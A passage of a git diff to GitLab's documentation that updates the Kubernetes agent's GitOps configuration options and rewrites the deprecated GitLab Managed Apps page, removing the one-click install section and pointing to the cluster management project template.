+ prune: true # enabled by default
+ # Prune timeout defines whether we should wait for all resources
+ # to be fully deleted after pruning, and if so, how long we should
+ # wait.
+ prune_timeout: 3600s # 1 hour by default
+ # Prune propagation policy defines the deletion propagation policy
+ # that should be used for pruning.
+ # https://github.com/kubernetes/apimachinery/blob/44113beed5d39f1b261a12ec398a356e02358307/pkg/apis/meta/v1/types.go#L456-L470
+ # Can be: orphan, background, foreground
+ prune_propagation_policy: foreground # 'foreground' by default
+ # InventoryPolicy defines if an inventory object can take over
+ # objects that belong to another inventory object or don't
+ # belong to any inventory object.
+ # This is done by determining if the apply/prune operation
+ # can go through for a resource based on the comparison
+ # the inventory-id value in the package and the owning-inventory
+ # annotation in the live object.
+ # https://github.com/kubernetes-sigs/cli-utils/blob/d6968048dcd80b1c7b55d9e4f31fc25f71c9b490/pkg/inventory/policy.go#L12-L66
+ # Can be: must_match, adopt_if_no_inventory, adopt_all
+ inventory_policy: must_match # 'must_match' by default
+```
+
+### Using multiple manifest projects
+
+Storing Kubernetes manifests in more than one repository can be handy, for example:
+
+- You may store manifests for different applications in separate repositories.
+- Different teams can work on manifests of independent projects in separate repositories.
+
+To use multiple repositories as the source of Kubernetes manifests, specify them in the list of
+`manifest_projects` in your `config.yaml`:
+
+```yaml
+gitops:
+ manifest_projects:
+ - id: group1/project1
+ - id: group2/project2
+```
+
+Note that repositories are synchronized **concurrently** and **independently** from each other,
+which means that, ideally, there should **not** be any dependencies shared by these repositories.
+Storing a logical group of manifests in a single repository may work better than distributing it across several
+repositories.
+
+You cannot use a single repository as a source for multiple concurrent synchronization
+operations. If such functionality is needed, you may use multiple agents reading
+manifests from the same repository.
+
+Ensure not to specify "overlapping" globs to avoid synchronizing the same files more than once.
+This is detected by the GitLab Kubernetes Agent and leads to an error.
+
+INCORRECT - both globs match `*.yaml` files in the root directory:
+
+```yaml
+gitops:
+ manifest_projects:
+ - id: project1
+ paths:
+ - glob: '/**/*.yaml'
+ - glob: '/*.yaml'
+```
+
+CORRECT - single globs matches all `*.yaml` files recursively:
+
+```yaml
+gitops:
+ manifest_projects:
+ - id: project1
+ paths:
+ - glob: '/**/*.yaml'
```
## Surface network security alerts from cluster to GitLab
diff --git a/doc/user/clusters/agent/runner.md b/doc/user/clusters/agent/runner.md
index bbf07d4ea84..c40733bd7a5 100644
--- a/doc/user/clusters/agent/runner.md
+++ b/doc/user/clusters/agent/runner.md
@@ -1,5 +1,6 @@
---
redirect_to: 'https://docs.gitlab.com/runner/install/kubernetes-agent.html'
+remove_date: '2022-02-01'
---
This document was moved to [another location](https://docs.gitlab.com/runner/install/kubernetes-agent.html).
diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md
index 212823853e4..a6aa4e00005 100644
--- a/doc/user/clusters/applications.md
+++ b/doc/user/clusters/applications.md
@@ -6,12 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab Managed Apps (DEPRECATED) **(FREE)**
+NOTE:
+The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md).
+If you want to migrate your GitLab managed apps management to this template, reference to [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md).
+
**GitLab Managed Apps** was created to help you configure applications in your
cluster directly from GitLab. You could use this feature through two different
methods: "one-click install" and "CI/CD template". Both methods are **deprecated**:
-- The **one-click install** method was deprecated in GitLab 13.9 and **will be
- removed** in GitLab 14.0.
+- The **one-click install** method was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63348) in GitLab 14.0.
- The **CI/CD template method** was deprecated in GitLab 13.12 and is scheduled
to be removed in GitLab 15.0.
@@ -19,23 +22,17 @@ Both methods were limiting as you couldn't fully customize your third-party apps
through GitLab Managed Apps. Therefore, we decided to deprecate this feature and provide
better [GitOps-driven alternatives](https://about.gitlab.com/direction/configure/kubernetes_management/#gitlab-managed-applications) to our users, such as [cluster integrations](integrations.md#cluster-integrations) and [cluster management project](management_project.md).
-Read the sections below according to the installation method you chose to
-learn how to proceed to keep your apps up and running:
-
-- [One-click install method](#install-with-one-click-deprecated)
-- [CI/CD template method](#install-using-gitlab-cicd-deprecated)
-
## Install using GitLab CI/CD (DEPRECATED)
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20822) in GitLab 12.6.
> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 13.12.
WARNING:
-The GitLab Managed Apps CI/CD installation method was [deprecated in 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/327908).
+The GitLab Managed Apps CI/CD installation method was [deprecated in 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/327908).
Your applications continue to work. However, we no longer support and maintain the GitLab CI/CD template for
Managed Apps (`Managed-Cluster-Applications.gitlab-ci.yml`).
-As a replacement, we are working on a [cluster management project template](https://gitlab.com/gitlab-org/gitlab/-/issues/327908),
-still to be released.
+The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md).
+If you want to migrate your GitLab managed apps management to this template, reference to [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md).
The CI/CD template was the primary method for installing applications to clusters via GitLab Managed Apps
and customize them through Helm.
@@ -401,6 +398,10 @@ These values can be specified using [CI/CD variables](../../ci/variables/README.
- `GITLAB_RUNNER_GITLAB_URL` is used for `gitlabUrl`.
- `GITLAB_RUNNER_REGISTRATION_TOKEN` is used for `runnerRegistrationToken`
+The methods of specifying these values are mutually exclusive. Either specify variables `GITLAB_RUNNER_REGISTRATION_TOKEN` and `GITLAB_RUNNER_TOKEN` as CI variables (recommended) or provide values for `runnerRegistrationToken:` and `runnerToken:` in `.gitlab/managed-apps/gitlab-runner/values.yaml`. If you choose to use CI variables, comment out or remove `runnerRegistrationToken:` and `runnerToken:` from `.gitlab/managed-apps/gitlab-runner/values`.
+
+The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../ci/variables/README.md#protect-a-cicd-variable) and [masked variable](../../ci/variables/README.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml` file.
+
You can customize the installation of GitLab Runner by defining
`.gitlab/managed-apps/gitlab-runner/values.yaml` file in your cluster
management project. Refer to the
@@ -453,7 +454,7 @@ for the available configuration options.
You can check Cilium's installation status on the cluster management page:
- [Project-level cluster](../project/clusters/index.md): Navigate to your project's
- **Operations > Kubernetes** page.
+ **Infrastructure > Kubernetes clusters** page.
- [Group-level cluster](../group/clusters/index.md): Navigate to your group's
**Kubernetes** page.
@@ -462,7 +463,10 @@ Installation and removal of the Cilium requires a **manual**
[restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#restart-unmanaged-pods)
of all affected pods in all namespaces to ensure that they are
[managed](https://docs.cilium.io/en/v1.8/operations/troubleshooting/#ensure-managed-pod)
-by the correct networking plugin.
+by the correct networking plugin. Whenever Hubble is enabled, its related pod might require a
+restart depending on whether it started prior to Cilium. For more information, see
+[Failed Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#failed-deployment)
+in the Kubernetes docs.
NOTE:
Major upgrades might require additional setup steps. For more information, see
@@ -814,11 +818,6 @@ management project. Refer to the
[chart](https://gitlab.com/gitlab-org/charts/elastic-stack) for all
available configuration options.
-NOTE:
-In this alpha implementation of installing Elastic Stack through CI, reading the
-environment logs through Elasticsearch is unsupported. This is supported if
-[installed with the UI](#elastic-stack).
-
Support for installing the Elastic Stack managed application is provided by the
GitLab APM group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
@@ -1026,691 +1025,37 @@ GitLab Container Security group. If you run into unknown issues,
at least 2 people from the
[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
-## Browse applications logs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2.
-
-Logs produced by pods running **GitLab Managed Apps** can be browsed using
-[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md).
-
-## Install with one click (DEPRECATED)
-
-WARNING:
-The one-click installation method was deprecated in GitLab 13.9 and will be removed in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
-The removal does not break nor uninstall any apps you have installed but removes the GitLab UI page
-for installing and updating your GitLab Managed Apps.
-Follow the process to [take ownership of your GitLab Managed Apps](#take-ownership-of-your-gitlab-managed-apps).
-
-Applications managed by GitLab are installed onto the `gitlab-managed-apps`
-namespace. This namespace:
-
-- Is different from the namespace used for project deployments.
-- Is created once.
-- Has a non-configurable name.
-
-To view a list of available applications to install for a:
-
-- [Project-level cluster](../project/clusters/index.md), navigate to your project's
- **Operations > Kubernetes**.
-- [Group-level cluster](../group/clusters/index.md), navigate to your group's
- **Kubernetes** page.
-
-You can install the following applications with one click:
-
-- [Helm](#helm)
-- [Ingress](#ingress)
-- [cert-manager](#cert-manager)
-- [Prometheus](#prometheus)
-- [GitLab Runner](#gitlab-runner)
-- [JupyterHub](#jupyterhub)
-- [Knative](#knative)
-- [Crossplane](#crossplane)
-- [Elastic Stack](#elastic-stack)
-- [Fluentd](#fluentd)
-
-With the exception of Knative, the applications are installed in a dedicated
-namespace called `gitlab-managed-apps`.
-
-Some applications are installable only for a project-level cluster.
-Support for installing these applications in a group-level cluster is
-planned for future releases.
-For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411).
-
-WARNING:
-If you have an existing Kubernetes cluster with Helm already installed,
-you should be careful as GitLab cannot detect it. In this case, installing
-Helm with the applications results in the cluster having it twice, which
-can lead to confusion during deployments.
-
-In GitLab versions 11.6 and greater, Helm is upgraded to the latest version
-supported by GitLab before installing any of the applications.
-
-### Helm
-
-> - Introduced in GitLab 10.2 for project-level clusters.
-> - Introduced in GitLab 11.6 for group-level clusters.
-> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later.
-> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later.
-> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later.
-
-[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is
-used to install the GitLab-managed apps. GitLab runs each `helm` command
-in a pod in the `gitlab-managed-apps` namespace inside the cluster.
-
-- For clusters created in GitLab 13.6 and newer, GitLab uses Helm 3 to manage
- applications.
-- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2
- with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior
- to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab
- used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You
- can safely uninstall the server from the GitLab application page if you have
- previously installed it. This doesn't affect your other applications.
-
-The GitLab Helm integration does not support installing applications behind a proxy,
-but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy)
-is available.
-
-#### Upgrade a cluster to Helm 3
-
-GitLab does not offer a way to migrate existing application management
-on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3:
-
-1. Uninstall all applications on your cluster.
-1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration).
-1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as
- an existing cluster.
-
-### cert-manager
-
-> Introduced in GitLab 11.6 for project- and group-level clusters.
-
-[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate
-management controller that helps with issuing certificates. Installing
-cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/)
-and ensures that certificates are valid and up-to-date.
-
-The chart used to install this application depends on the version of GitLab used. In:
-
-- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager)
- chart is used with a
- [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml)
- file.
-- GitLab 12.2 and older, the
- [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager)
- chart was used.
-
-If you installed cert-manager prior to GitLab 12.3, Let's Encrypt
-[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753)
-from older versions of `cert-manager`. To resolve this:
-
-1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/).
-1. Uninstall cert-manager.
-1. Install cert-manager again.
-
-### GitLab Runner
-
-> - Introduced in GitLab 10.6 for project-level clusters.
-> - Introduced in GitLab 11.10 for group-level clusters.
-
-[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that
-is used to run your jobs and send the results back to GitLab. It's used in
-conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous
-integration service included with GitLab that coordinates the jobs.
-
-If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners)
-are available. You don't have to deploy one if they are enough for your
-needs. If a project-specific runner is desired, or there are no shared runners,
-you can deploy one.
-
-The deployed runner is set as **privileged**. Root access to the underlying
-server is required to build Docker images, so it's the default. Be sure to read
-the [security implications](../project/clusters/index.md#security-implications)
-before deploying one.
-
-The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner)
-chart is used to install this application, using
-[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml)
-file. Customizing the installation by modifying this file is not supported. This
-also means you cannot modify `config.toml` file for this Runner. If you want to
-have that possibility and still deploy Runner in Kubernetes, consider using the
-[Cluster management project](management_project.md) or installing Runner manually
-via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html).
-
-### Ingress
-
-> - Introduced in GitLab 10.2 for project-level clusters.
-> - Introduced in GitLab 11.6 for group-level clusters.
-
-[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
-provides load balancing, SSL termination, and name-based virtual hosting
-out of the box. It acts as a web proxy for your applications and is useful
-if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps.
-
-The Ingress Controller installed is
-[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/),
-which is supported by the Kubernetes community.
-
-With the following procedure, a load balancer must be installed in your cluster
-to obtain the endpoint. You can use either
-Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative.
-
-To publish your web application, you first need to find the endpoint, which is either an IP
-address or a hostname associated with your load balancer.
-
-To install it, click on the **Install** button for Ingress. GitLab attempts
-to determine the external endpoint and it should be available in a few minutes.
-
-#### Determining the external endpoint automatically
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6.
-
-After you install Ingress, the external endpoint should be available in a few minutes.
-
-NOTE:
-This endpoint can be used for the
-[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain)
-using the `KUBE_INGRESS_BASE_DOMAIN` environment variable.
-
-If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine:
-
-1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes)
- on Google Kubernetes Engine to ensure there are no errors on its nodes.
-1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas)
- on Google Kubernetes Engine. For more information, see
- [Resource Quotas](https://cloud.google.com/compute/quotas).
-1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service
- disruptions.
-
-The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml)
-file.
-
-After installing, you may see a `?` for **Ingress IP Address** depending on the
-cloud provider. For EKS specifically, this is because the ELB is created
-with a DNS name, not an IP address. If GitLab is still unable to
-determine the endpoint of your Ingress or Knative application, you can
-[determine it manually](#determining-the-external-endpoint-manually).
-
-#### Determining the external endpoint manually
-
-See the [Base domain section](../project/clusters/index.md#base-domain) for a
-guide on how to determine the external endpoint manually.
-
-#### Using a static IP
-
-By default, an ephemeral external IP address is associated to the cluster's load
-balancer. If you associate the ephemeral IP with your DNS and the IP changes,
-your apps aren't reachable, and you'd have to change the DNS record again.
-To avoid that, change it into a static reserved IP.
-
-Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip).
-
-#### Pointing your DNS at the external endpoint
-
-After you have set up the external endpoint, associate it with a
-[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such
-as `*.example.com.`) to reach your apps. If your external endpoint is an IP
-address, use an A record. If your external endpoint is a hostname, use a CNAME
-record.
-
-#### Web Application Firewall (ModSecurity)
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7.
-
-WARNING:
-The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276)
-in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349)
-in GitLab 14.0.
-
-A Web Application Firewall (WAF) examines traffic being sent or received,
-and can block malicious traffic before it reaches your application. The benefits
-of a WAF are:
-
-- Real-time security monitoring for your application.
-- Logging of all your HTTP traffic to the application.
-- Access control for your application.
-- Highly configurable logging and blocking rules.
-
-By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/),
-which is a toolkit for real-time web application monitoring, logging, and access
-control. GitLab applies the [OWASP's Core Rule Set](https://coreruleset.org/),
-which provides generic attack detection capabilities.
-
-This feature:
-
-- Runs in "Detection-only mode" unless configured otherwise.
-- Is viewable by checking your Ingress controller's `modsec` log for rule violations.
- For example:
-
- ```shell
- kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f
- ```
-
-To enable WAF, switch its respective toggle to the enabled position when installing
-or updating [Ingress application](#ingress).
-
-If this is your first time using the GitLab WAF, we recommend you follow the
-[quick start guide](../project/clusters/protect/web_application_firewall/quick_start_guide.md).
-
-There is a small performance overhead by enabling ModSecurity. If this is
-considered significant for your application, you can disable ModSecurity's
-rule engine for your deployed application in any of the following ways:
-
-1. Set the [deployment variable](../../topics/autodevops/index.md)
- `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity
- from processing any requests for the given application or environment.
-1. Switch its respective toggle to the disabled position, and then apply changes
- by selecting **Save changes** to reinstall Ingress with the recent changes.
-
-![Disabling WAF](../project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png)
-
-##### Logging and blocking modes
-
-To help you tune your WAF rules, you can globally set your WAF to either
-*Logging* or *Blocking* mode:
-
-- *Logging mode*: Allows traffic matching the rule to pass, and logs the event.
-- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event.
-
-To change your WAF's mode:
-
-1. If you haven't already done so,
- [install ModSecurity](../project/clusters/protect/web_application_firewall/quick_start_guide.md).
-1. Navigate to **Operations > Kubernetes**.
-1. In **Applications**, scroll to **Ingress**.
-1. Under **Global default**, select your desired mode.
-1. Select **Save changes**.
-
-##### WAF version updates
-
-Enabling, disabling, or changing the logging mode for **ModSecurity** is only
-allowed in same version of [Ingress](#ingress) due to limitations in
-[Helm](https://helm.sh/) which might be overcome in future releases.
-
-The **ModSecurity** user interface controls are disabled if the version deployed
-differs from the one available in GitLab. However, actions at the [Ingress](#ingress)
-level, such as uninstalling, can still be performed:
-
-![WAF settings disabled](../project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png)
-
-Update [Ingress](#ingress) to the most recent version to take advantage of bug
-fixes, security fixes, and performance improvements. To update the
-[Ingress application](#ingress), you must first uninstall it, and then re-install
-it as described in [Install ModSecurity](../project/clusters/protect/web_application_firewall/quick_start_guide.md).
-
-##### Viewing Web Application Firewall traffic
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
-
-You can view Web Application Firewall traffic by navigating to your project's
-**Security & Compliance > Threat Monitoring** page. From there, you can see
-tracked over time:
-
-- The total amount of traffic to your application.
-- The proportion of traffic that's considered anomalous by the Web Application
- Firewall's default [OWASP ruleset](https://coreruleset.org/).
-
-If a significant percentage of traffic is anomalous, investigate it for potential threats
-by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity).
-
-![Threat Monitoring](img/threat_monitoring_v12_9.png)
-
-### JupyterHub
-
-> - Introduced in GitLab 11.0 for project-level clusters.
-> - Introduced in GitLab 12.3 for group and instance-level clusters.
-
-[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service
-for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/)
-provide a web-based interactive programming environment used for data analysis,
-visualization, and machine learning.
-
-The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml)
-file.
-
-Authentication is enabled only for [project members](../project/members/index.md)
-for project-level clusters and group members for group-level clusters with
-[Developer or higher](../permissions.md) access to the associated project or group.
-
-GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile)
-that installs additional relevant packages on top of the base Jupyter. Ready-to-use
-DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix)
-are also available.
+## Install with one click (REMOVED)
-More information on creating executable runbooks can be found in
-[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab).
-Ingress must be installed and have an IP address assigned before
-JupyterHub can be installed.
+> [Removed](https://gitlab.com/groups/gitlab-org/-/epics/4280) in GitLab 14.0.
-#### Jupyter Git Integration
+The one-click installation method was deprecated in GitLab 13.9 and removed in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
+The removal does not break nor uninstall any apps you have installed, it only
+removes the "Applications" tab from the cluster page.
+The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md).
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters.
+- If you want to migrate your GitLab managed apps management to this template, read
+ [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md).
+- If you don't want to use the template, you can also manually manage your applications.
+ For that, follow the process to
+ [take ownership of your GitLab Managed Apps](#take-ownership-of-your-gitlab-managed-apps).
-When installing JupyterHub onto your Kubernetes cluster,
-[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git)
-is provisioned and configured using the authenticated user's:
+If you are not yet on GitLab 14.0 or later, you can refer to [an older version of this document](https://docs.gitlab.com/13.12/ee/user/clusters/applications.html#install-with-one-click-deprecated).
-- Name.
-- Email.
-- Newly created access token.
-
-JupyterLab's Git extension enables full version control of your notebooks, and
-issuance of Git commands in Jupyter. You can issue Git commands through the
-**Git** tab on the left panel, or through Jupyter's command-line prompt.
-
-JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted
-format, and in the single user Jupyter instance as plain text, because
-[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store)
-Potentially, if a nefarious user finds a way to read from the file system in the
-single-user Jupyter instance, they could retrieve the token.
-
-![Jupyter's Git Extension](img/jupyter-git-extension.gif)
-
-You can clone repositories from the files tab in Jupyter:
-
-![Jupyter clone repository](img/jupyter-gitclone.png)
-
-### Knative
-
-> - Introduced in GitLab 11.5 for project-level clusters.
-> - Introduced in GitLab 12.3 for group- and instance-level clusters.
-
-[Knative](https://cloud.google.com/knative/) provides a platform to
-create, deploy, and manage serverless workloads from a Kubernetes
-cluster. It's used in conjunction with, and includes
-[Istio](https://istio.io) to provide an external IP address for all
-programs hosted by Knative.
-
-The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts)
-chart is used to install this application.
-
-During installation, you must enter a wildcard domain where your applications
-are exposed. Configure your DNS server to use the external IP address for that
-domain. Applications created and installed are accessible as
-`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires
-your Kubernetes cluster to have
-[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
-
-### Prometheus
-
-> - Introduced in GitLab 10.4 for project-level clusters.
-> - Introduced in GitLab 11.11 for group-level clusters.
-
-[Prometheus](https://prometheus.io/docs/introduction/overview/) is an
-open-source monitoring and alerting system you can use to supervise your
-deployed applications.
-
-GitLab is able to monitor applications by using the
-[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and
-memory metrics are collected, and response metrics are also retrieved
-from NGINX Ingress.
-
-The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml)
-file.
-
-To enable monitoring, install Prometheus into the cluster with the **Install**
-button.
-
-### Crossplane
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters.
-
-[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane
-to help you manage applications and infrastructure across multiple clouds. It extends the
-Kubernetes API using:
-
-- Custom resources.
-- Controllers that watch those custom resources.
-
-Crossplane allows provisioning and lifecycle management of infrastructure components
-across cloud providers in a uniform manner by abstracting cloud provider-specific
-configurations.
-
-The Crossplane GitLab-managed application:
-
-- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the
- project repository.
-- Can then be used to provision infrastructure or managed applications such as
- PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services
- required by the application with the Auto DevOps pipeline.
-
-[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to
-install Crossplane using the
-[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl)
-file.
-
-For information about configuring Crossplane installed on the cluster, see
-[Crossplane configuration](crossplane.md).
-
-### Elastic Stack
-
-> Introduced in GitLab 12.7 for project- and group-level clusters.
-
-[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end
-log analysis solution which helps in deep searching, analyzing and visualizing the logs
-generated from different machines.
-
-GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet
-on each node in your cluster, and ships container logs to Elasticsearch for
-querying. GitLab then connects to Elasticsearch for logs, instead of the
-Kubernetes API, giving you access to more advanced querying capabilities. Log
-data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html).
-
-The Elastic Stack cluster application is intended as a log aggregation solution
-and is not related to our [Advanced Search](../search/advanced_search.md)
-functionality, which uses a separate Elasticsearch cluster.
-
-To enable log shipping:
-
-1. Ensure your cluster contains at least three nodes of instance types larger
- than `f1-micro`, `g1-small`, or `n1-standard-1`.
-1. Navigate to **Operations > Kubernetes**.
-1. In **Kubernetes Cluster**, select a cluster.
-1. In the **Applications** section, find **Elastic Stack**, and then select
- **Install**.
-
-The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml)
-file. The chart deploys three identical Elasticsearch pods which can't be
-colocated, and each requires one CPU and 2 GB of RAM, making them
-incompatible with clusters containing fewer than three nodes, or consisting of
-`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types.
-
-#### Optional: deploy Kibana to perform advanced queries
-
-If you are an advanced user and have direct access to your Kubernetes cluster
-using `kubectl` and `helm`, you can deploy Kibana manually. The following assumes
-that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`.
-
-Save the following to `kibana.yml`:
-
-```yaml
-elasticsearch:
- enabled: false
-
-filebeat:
- enabled: false
-
-kibana:
- enabled: true
- elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200
-```
-
-Then install it on your cluster:
-
-```shell
-helm repo add gitlab https://charts.gitlab.io
-helm install --name kibana gitlab/elastic-stack --values kibana.yml
-```
-
-To access Kibana, forward the port to your local machine:
-
-```shell
-kubectl port-forward svc/kibana-kibana 5601:5601
-```
-
-Then, you can visit Kibana at `http://localhost:5601`.
-
-### Fluentd
-
-> Introduced in GitLab 12.10 for project- and group-level clusters.
-
-[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables
-you to unify the data collection and consumption to better use and understand
-your data. Fluentd sends logs in syslog format.
-
-To enable Fluentd:
-
-1. Navigate to **Operations > Kubernetes** and click
- **Applications**. Enter a host, port, and protocol
- for sending the WAF logs with syslog.
-1. Provide the host domain name or URL in **SIEM Hostname**.
-1. Provide the host port number in **SIEM Port**.
-1. Select a **SIEM Protocol**.
-1. Select at least one of the available logs (such as WAF or Cilium).
-1. Click **Save changes**.
-
-![Fluentd input fields](img/fluentd_v13_0.png)
-
-## Upgrading applications
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24789) in GitLab 11.8.
-
-The applications below can be upgraded.
-
-| Application | GitLab version |
-| ----------- | -------------- |
-| GitLab Runner | 11.8+ |
-
-To upgrade an application:
-
-1. For a:
- - [Project-level cluster](../project/clusters/index.md),
- navigate to your project's **Operations > Kubernetes**.
- - [Group-level cluster](../group/clusters/index.md),
- navigate to your group's **Kubernetes** page.
-1. Select your cluster.
-1. If an upgrade is available, the **Upgrade** button is displayed. Click the button to upgrade.
-
-Upgrades reset values back to the values built into the `runner` chart, plus the values set by
